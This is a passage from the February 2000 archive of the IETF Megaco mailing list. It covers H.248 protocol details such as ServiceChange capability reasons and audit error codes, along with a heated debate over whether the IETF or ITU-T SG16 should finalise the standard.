To: MEGACO@STANDARDS.NORTELNETWORKS.COM

It is specified in 7.2.8 "The Media Gateway may notify the MGC that the
capability of a termination has changed"
There also exists Reasons as "Modem Capability Failure".
I think Capability change by itself means that there is some problem but the
termination itself is not down.
Is this the intended meaning or is it that termination has failed and reason
just specifies the cause ???
Is the word "Capability" a misnomer in this context.

If the meaning is that capability failure is not termination failure then
Methods must specify that
ServiceChange doesn't make termination out of service when only termination
capability fails.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 10:41:57 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11894
	for ; Fri, 11 Feb 2000 10:41:45 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.256D25A0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 10:38:34 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41141 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 10:36:48 -0500
Received: from ns.fmmo.ca (207.253.160.156) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.E62224E0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 10:36:48
          -0500
Received: from localhost (fm-listproc@localhost) by ns.fmmo.ca (8.9.3/8.9.3)
          with ESMTP id KAA02677; Fri, 11 Feb 2000 10:48:59 -0500
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  
Date:         Fri, 11 Feb 2000 10:48:58 -0500
Reply-To: Francois Menard List Account 
Sender: "Media Gateway Control (megaco)"
              
From: Francois Menard List Account 
Subject:      Re: H.248 Activity
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF20891D@whq-msgusr-02.fore.com>

Can we vote on this?  Mine's for option two!

-=Francois=-

On Fri, 11 Feb 2000, Rosen, Brian wrote:

> I believe that Case 2 is the only viable option.
>
> Brian
>
> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> Sent: Thursday, February 10, 2000 7:03 PM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: H.248 Activity
>
>
>
> The situation is clear.  IETF process will be respected, and only one
> protocol will be produced.  This leaves the following outlook for the
> future:
>
> Case 1: SG 16 decides H.248 at this meeting
>
> Clearly, the IESG will have to delete the protocol milestone from the Megaco
> charter.  The IESG may choose, as they have the right to do under our
> agreement with the ITU-T, to publish H.248 as an Informational RFC.  There
> is no particular reason not to -- the provision was negotiated so IETF
> participants would not have to pay the ITU-T for a copy of the standard they
> helped develop.
>
> Case 2: SG 16 does not decide H.248 at this meeting.
>
> In this case, the preferable outcome will be to allow the IETF to complete
> its process and create a Standards-track RFC.  That in turn can be processed
> into an ITU-T White Document at a Q. 14/16 Rapporteur's meeting convened for
> the purpose, and eventually decided as H.248.  To allow this,
>
>   -- SG 16 must seek to decide the document at the WTSA meeting in September
> rather than the meeting proposed for June 15
>
>   -- the IETF must complete its process well before May 15
>   -- the ITU-T must schedule a Rapporteur's meeting to meet the May 15 White
> Paper deadline
>
> I can only apologize so many times, but I do regret the ill-will this
> outcome is bound to generate between the two organizations, even though each
> has done its best to accommodate the other.
>
> Just in case Case 2 is what happens, I hereby rescind Last Call with the
> intention that it will be declared on a document which reflects the results
> of the present SG 16 meeting.   Meantime, we can still try to clean up all
> we can before next Tuesday.
>
>         Tom Taylor
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 10:44:29 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11954
	for ; Fri, 11 Feb 2000 10:44:24 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6DDB0460@standards.nortelnetworks.com>; Fri, 11 Feb 2000 10:40:35 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41159 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 10:39:22 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.422D1240@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          10:39:22 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          QAA10439; Fri, 11 Feb 2000 16:41:49 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id QAA25094;
          Fri, 11 Feb 2000 16:41:49 +0100
Received: from ericsson.com (arbru3m06.ericsson.se [164.48.163.7]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          QAA14760; Fri, 11 Feb 2000 16:41:43 +0100 (MET)
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF20891D@whq-msgusr-02.fore.com>
            <38A41C0F.CC4D3069@lucent.com>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by elb4.al.edt.ericsson.se
                      id QAA14760
Message-ID:  <38A42DC3.264D5D8@ericsson.com>
Date:         Fri, 11 Feb 2000 16:41:55 +0100
Reply-To: Stephen Terrill 
Sender: "Media Gateway Control (megaco)"
              
From: Stephen Terrill 
Subject:      Re: H.248 Activity
X-To:         Paul Sijben 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA11954

Hi Paul,

I cannot help but agree more!  Especially in Redbank when it was clearly indicated in the list that the IETF view would be "no change" into the meeting.

I see that there is certainly an industry need, which is supported by the amount of interest in this list and in ITU-T on this topic.  My fear is that other industry forums have a need for this protocol, and if they view that the relationship between the IETF and ITU causes this to be delayed to further, then other forums might loose faith in the co-operation converging on a solution, which will result in a other forums doing their own work.  I don´t see that this will assist the industry.

It is also intersting to note that this was a suprise to me, and against my understanding of the "rough concensous" and the process as outlined by the WG-chairperson in the RedBank Meeting.

Regards,

..//Steve



Paul Sijben wrote:

> Having dropped out of MEGACO and trying to catch up with what has happened,
> I am a bit surprised about this discussion.
>
> I vidly recall a meeting in Minneapolis where it was made _very_ clear that
> this work had to be finished ASAP because the industry was eagerly awaiting
> this.
>
> I get the impression from recent postings to this list that this is no
> longer the case, especially from people who 8 months ago were telling me in
> very clear terms over and over again that we should hurry this work up!
>
> Why should the industry now wait with freezing this protocol?
>
> Paul
> --
> Paul Sijben              Tel:+31 356874774
> Lucent Technologies      Message:+31 208702874
> Forward Looking Work     Fax: +31 208702874
> Huizen, The Netherlands  http://voip.nl.lucent.com/~sijben (internal)


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 10:48:00 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12072
	for ; Fri, 11 Feb 2000 10:47:55 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FEFBBA20@standards.nortelnetworks.com>; Fri, 11 Feb 2000 10:44:39 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41202 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 10:44:24 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.F5D42130@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          10:44:23 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 11 Feb 2000 09:45:45 -0600
Received: from zcard00n.ca.nortel.com (actually zcard00n) by zmers013; Fri, 11
          Feb 2000 10:45:32 -0500
Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00n.ca.nortel.com
          with SMTP (Microsoft Exchange Internet Mail Service Version
          5.5.2650.21) id 12FVLLZ9; Fri, 11 Feb 2000 10:45:31 -0500
Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by
          zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2448.0) id DMXAJVSY; Fri, 11 Feb 2000 10:45:31
          -0500
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: <388D8C0F.9B266F01@ficon-tech.com>
            <3896F374.11062D10@americasm01.nt.com>
            <38A3C3AA.F3DBA9C0@ficon-tech.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A42F08.251B2409@americasm01.nt.com>
Date:         Fri, 11 Feb 2000 10:47:20 -0500
Reply-To: Abdallah Rayhan 
Sender: "Media Gateway Control (megaco)"
              
From: Abdallah Rayhan 
Organization: Nortel Networks
Subject:      Re: Multiple Error Descriptors in command replies
X-To:         hsanand@ficon-tech.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

We might need to add error code for "300 - descriptor xyz is not available for
audit"
where xyz is the descriptor token. This should cover all descriptors.
I am not sure if 300 is the proper code or not.

Abdallah Rayhan

Harpreet Singh Anand wrote:

> Hello,
>
> Mulitple error descriptors have been allowed in Add/ Move/ Modify / Subtract /
> Audit reply. The rationale behind it being that if statistics are being audit
> and that certain statistics are  not available (for whatever reason), then the
> command should not fail (as it is syntactically and semantically correct) and
> the MG should be able to send multiple error descriptors in the same command
> reply.
>
> However, error codes for such statistics related error (statistics not
> available) are not given in the draft. The same should be added.
>
> Regards,
> Harpreet
>
> _________________________________
> Harpreet Singh Anand
> Ficon Technology
> E-mail :  mailto:hsanand@ficon-tech.com
> Web    :  http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 10:54:06 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12207
	for ; Fri, 11 Feb 2000 10:53:59 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D6F75290@standards.nortelnetworks.com>; Fri, 11 Feb 2000 10:50:41 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41156 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 10:49:02 -0500
Received: from uswgco3.uswc.uswest.com (209.54.108.174) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.35F2BB10@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          10:39:01 -0500
Received: from egate-ut3.uswc.uswest.com (egate-ut3.uswc.uswest.com
          [148.157.122.201]) by uswgco3.uswc.uswest.com (8.8.5/8.8.5) with
          ESMTP id IAA22119 for ; Fri, 11
          Feb 2000 08:41:33 -0700 (MST)
Received: from acs.uswest.com (localhost [127.0.0.1]) by
          egate-ut3.uswc.uswest.com (8.8.8/8.8.8) with SMTP id IAA25605 for
          ; Fri, 11 Feb 2000 08:41:32
          -0700 (MST)
Received: from jtpugac2 by acs.uswest.com (SMI-8.6/SMI-SVR4) id JAA17069; Fri,
          11 Feb 2000 09:41:31 -0600
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_005D_01BF7474.30E9A4B0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Message-ID:  <005c01bf74a6$7b8414b0$834c1cac@jtpugac2.dyn.interprise.com>
Date:         Fri, 11 Feb 2000 09:41:37 -0600
Reply-To: Jack Pugaczewski 
Sender: "Media Gateway Control (megaco)"
              
From: Jack Pugaczewski 
Subject:      Unsubscribe
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_005D_01BF7474.30E9A4B0
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

unsubscribe

"It takes time to do it right, but there is no shorter way."
--Watts S. Humphrey


------=_NextPart_000_005D_01BF7474.30E9A4B0
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable










unsubscribe


 


"It takes time to =
do it right,=20
but there is no shorter way."


--Watts S. =
Humphrey


 


------=_NextPart_000_005D_01BF7474.30E9A4B0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 11:15:06 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12916
	for ; Fri, 11 Feb 2000 11:15:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5E00A640@standards.nortelnetworks.com>; Fri, 11 Feb 2000 11:08:47 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41269 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 11:08:35 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.F16172E0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 10:58:35
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id LAA05722; Fri, 11 Feb
          2000 11:01:06 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id LAA16264; Fri, 11 Feb
          2000 11:01:09 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL79K5>; Fri, 11 Feb 2000 10:57:42 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20892F@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 11:01:06 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 Activity
X-To:         Stephen Terrill 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA12916

There is no end of gaming - i.e.. using one or another of the IETF
and ITU processes to get what you want, going on at this time.
Raising issues at the Geneva meeting is an example, but so is
dumping a large number of issues on the list just before last call.

The nut of the problem is "who has the last word?"

If the IETF does, then the last call process must continue, after
which ITU must accept this version as the decided one.

If the ITU does, then the Geneva version must be decided, and
the IETF process abandoned.

Take your pick.

I once believed that the agreement between SG16 and Megaco was the
list was the place that issues were raised and dealt with, because
both groups had access to the same information, with equal opportunity to
participate.  That has NOT been what has occurred,
and it is not what is occurring now.  Those in Geneva are doing
things those not in attendance are not, yet, aware of.

If the result is DECIDED, then the process is a sham -- no input
on changes made in Geneva by those not in attendance.

On the other hand, if the IETF last call process results in a
proposed standard, and ITU is asked to decide that without
an opportunity to run it's meeting process, which would allow
contributions and changes at the meeting, then it's process is
shortchanged.

In my PERSONAL opinion, the IETF process must complete, and then
the ITU process must accept the result.  There is no other way
to allow all participants to participate in the result.  The ITU
process is hampered by the ability of the people attending meetings to
affect the outcome whatever people not in the meeting think.

Brian

> -----Original Message-----
> From: Stephen Terrill [mailto:stephen.terrill@ERICSSON.COM]
> Sent: Friday, February 11, 2000 10:42 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: H.248 Activity
> 
> 
> Hi Paul,
> 
> I cannot help but agree more!  Especially in Redbank when it 
> was clearly indicated in the list that the IETF view would be 
> "no change" into the meeting.
> 
> I see that there is certainly an industry need, which is 
> supported by the amount of interest in this list and in ITU-T 
> on this topic.  My fear is that other industry forums have a 
> need for this protocol, and if they view that the 
> relationship between the IETF and ITU causes this to be 
> delayed to further, then other forums might loose faith in 
> the co-operation converging on a solution, which will result 
> in a other forums doing their own work.  I don´t see that 
> this will assist the industry.
> 
> It is also intersting to note that this was a suprise to me, 
> and against my understanding of the "rough concensous" and 
> the process as outlined by the WG-chairperson in the RedBank Meeting.
> 
> Regards,
> 
> ..//Steve
> 
> 
> 
> Paul Sijben wrote:
> 
> > Having dropped out of MEGACO and trying to catch up with 
> what has happened,
> > I am a bit surprised about this discussion.
> >
> > I vidly recall a meeting in Minneapolis where it was made 
> _very_ clear that
> > this work had to be finished ASAP because the industry was 
> eagerly awaiting
> > this.
> >
> > I get the impression from recent postings to this list that 
> this is no
> > longer the case, especially from people who 8 months ago 
> were telling me in
> > very clear terms over and over again that we should hurry 
> this work up!
> >
> > Why should the industry now wait with freezing this protocol?
> >
> > Paul
> > --
> > Paul Sijben              Tel:+31 356874774
> > Lucent Technologies      Message:+31 208702874
> > Forward Looking Work     Fax: +31 208702874
> > Huizen, The Netherlands  http://voip.nl.lucent.com/~sijben 
> (internal)
> 


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 11:52:39 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14185
	for ; Fri, 11 Feb 2000 11:52:34 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.002EF3E0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 11:49:06 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41552 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 11:49:05 -0500
Received: from drawbridge.ascend.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.FF23EC80@standards.nortelnetworks.com>; Fri, 11 Feb 2000 11:49:04
          -0500
Received: from fw-ext.ascend.com (fw-ext [198.4.92.5]) by drawbridge.ascend.com
          (8.9.1a/8.9.1) with SMTP id IAA01957; Fri, 11 Feb 2000 08:45:16 -0800
          (PST)
Received: from russet.ascend.com by fw-ext.ascend.com via smtpd (for
          drawbridge.ascend.com [198.4.92.1]) with SMTP; 11 Feb 2000 16:51:30 UT
Received: from porky (porky.ascend.com [192.207.23.83]) by russet.ascend.com
          (8.9.1a/8.9.1) with ESMTP id IAA23414; Fri, 11 Feb 2000 08:51:29
          -0800 (PST)
Received: from ascend.com by ascend.com
X-Sender: mhold@porky
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000211083525.00af2920@porky>
Date:         Fri, 11 Feb 2000 08:48:45 -0800
Reply-To: Matt Holdrege 
Sender: "Media Gateway Control (megaco)"
              
From: Matt Holdrege 
Subject:      Re: H.248 Activity
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF20892F@whq-msgusr-02.fore. com>

At 11:01 AM 2/11/00 -0500, Rosen, Brian wrote:
>There is no end of gaming - i.e.. using one or another of the IETF
>and ITU processes to get what you want, going on at this time.
>Raising issues at the Geneva meeting is an example, but so is
>dumping a large number of issues on the list just before last call.

I hope your plan works Brian. But the issue of some groups dumping
a load of issues on the list at the list minute is an example of
how a small minority can intentionally stall or delay a standard
in the IETF. The ITU may have other problems, but their policy of
determining text and not allowing significant changes makes them
the faster standards body these days. SG16 in their effort to
cooperate with the IETF has opened the door this time and we are
all suffering.

The IETF's policy works great when we are all of the same mind.
But when some vendors have a policy against a standard, it seems
too easy for them to block it or delay it long enough for it not
to matter.

As for the long list of issues that have appeared recently, I
think that nearly all of them should have been addressed in the
next version of the protocol for the ITU or Draft Standard phase
for the IETF. They are speculation on certain aspects of the
protocol that we will understand best after we have deployments
in real networks. Likely time will show some of these last minute
changes to be mistakes.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 11:56:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14339
	for ; Fri, 11 Feb 2000 11:56:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9044C950@standards.nortelnetworks.com>; Fri, 11 Feb 2000 11:53:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41575 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 11:51:24 -0500
Received: from sj-msg-core-2.cisco.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.51CB9780@standards.nortelnetworks.com>; Fri, 11 Feb 2000 11:51:23
          -0500
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by
          sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA16168; Fri, 11
          Feb 2000 08:54:23 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List
          Logging/CISCO.WS.1.2) id IAA26514; Fri, 11 Feb 2000 08:53:56 -0800
          (PST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <4FBEA8857476D311A03300204840E1CF20892F@whq-msgusr-02.fore.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk
        @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
        bUcI'1!
Message-ID:  <14500.16036.525541.705894@thomasm-u1.cisco.com>
Date:         Fri, 11 Feb 2000 08:53:56 -0800
Reply-To: Michael Thomas 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Thomas 
Subject:      Re: H.248 Activity
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF20892F@whq-msgusr-02.fore.com>
Content-Transfer-Encoding: 7bit

Rosen, Brian writes:
 > There is no end of gaming - i.e.. using one or another of the IETF
 > and ITU processes to get what you want, going on at this time.
 > Raising issues at the Geneva meeting is an example, but so is
 > dumping a large number of issues on the list just before last call.

I'm puzzled here: when would you have wanted those
issues to be brought up? Considering there were at
least a dozen issues out of DC which were being
coalesced into v13, v14, and v15 when, exactly,
would you have people comment on what the editor
and chair decided was "rough consensus" on the
list? We're not mind readers, after all, and it's
certainly not unheard of that one person's idea of
consensus doesn't match anothers when assembling
the document. Given the number of issues, it was
very difficult to keep track of even a subset, let
alone every one of them.

 > In my PERSONAL opinion, the IETF process must complete, and then
 > the ITU process must accept the result.  There is no other way
 > to allow all participants to participate in the result.  The ITU
 > process is hampered by the ability of the people attending meetings to
 > affect the outcome whatever people not in the meeting think.

In my opinion, this would be the result if the ITU
process runs the way that it is supposed to run in
theory -- or at least close anyway. If the IETF
last call, proposed standard, etc mechanism
yielded a document which was stable (which seems
pretty likely), there would be no pressure to make
sweeping changes between the ITU white paper and
the decision process.

I am at a complete loss as to what people think
they have to gain by deciding H.248 in Geneva now;
it's got an ITU name, in the next while it will
move to proposed standard in IETF, etc. It's not
like anybody is being impeded to actually *build*
H.248 MGC's and MG's. On the other hand, deciding
H.248 now carries a *huge* risk that whatever is
decided will be cast in stone, and any unfortunate
mistakes must be kept backward compatible for time
immemorial -- with no implementation bakeoffs, etc
to figure out where we've made boneheaded
mistakes. This is arguably a deficiency of the ITU
process, but that *is* their process for better or
worse.

Are the politics of getting a document rubber
stamped by the ITU really greater than the need
for a stable and workable protocol? A protocol
which collapses under its own weight due to a mad
rush to get something out because of somebody's
short term strategic marketing needs would not be
in *anybody's* interest. Not even Cisco's, since
we have a long reputation of being technology
agnostic -- which means that we have to live with
the result just like everybody else.

                Mike


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 12:05:49 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14733
	for ; Fri, 11 Feb 2000 12:05:46 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D8967810@standards.nortelnetworks.com>; Fri, 11 Feb 2000 12:02:19 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41580 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 12:01:25 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.5280DDC0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 11:51:24
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id LAA11878; Fri, 11 Feb
          2000 11:53:50 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id LAA00852; Fri, 11 Feb
          2000 11:53:53 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL70RX>; Fri, 11 Feb 2000 11:50:26 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208933@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 11:53:51 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 Activity
X-To:         Matt Holdrege 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I am in agreement that gaming is happening on all sides, and
people are using the IETF process to their own ends as well
as the ITU process.

Brian

> -----Original Message-----
> From: Matt Holdrege [mailto:matt@ascend.com]
> Sent: Friday, February 11, 2000 11:49 AM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: H.248 Activity
>
>
> At 11:01 AM 2/11/00 -0500, Rosen, Brian wrote:
> >There is no end of gaming - i.e.. using one or another of the IETF
> >and ITU processes to get what you want, going on at this time.
> >Raising issues at the Geneva meeting is an example, but so is
> >dumping a large number of issues on the list just before last call.
>
> I hope your plan works Brian. But the issue of some groups dumping
> a load of issues on the list at the list minute is an example of
> how a small minority can intentionally stall or delay a standard
> in the IETF. The ITU may have other problems, but their policy of
> determining text and not allowing significant changes makes them
> the faster standards body these days. SG16 in their effort to
> cooperate with the IETF has opened the door this time and we are
> all suffering.
>
> The IETF's policy works great when we are all of the same mind.
> But when some vendors have a policy against a standard, it seems
> too easy for them to block it or delay it long enough for it not
> to matter.
>
> As for the long list of issues that have appeared recently, I
> think that nearly all of them should have been addressed in the
> next version of the protocol for the ITU or Draft Standard phase
> for the IETF. They are speculation on certain aspects of the
> protocol that we will understand best after we have deployments
> in real networks. Likely time will show some of these last minute
> changes to be mistakes.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 12:11:34 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14808
	for ; Fri, 11 Feb 2000 12:11:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B1AB6FC0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 12:08:23 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41750 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 12:07:33 -0500
Received: from newdev.harvard.edu (140.247.60.212) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.93E07BC0@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          12:07:33 -0500
Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id MAA06280;
          Fri, 11 Feb 2000 12:08:32 -0500 (EST)
Message-ID:  <200002111708.MAA06280@newdev.harvard.edu>
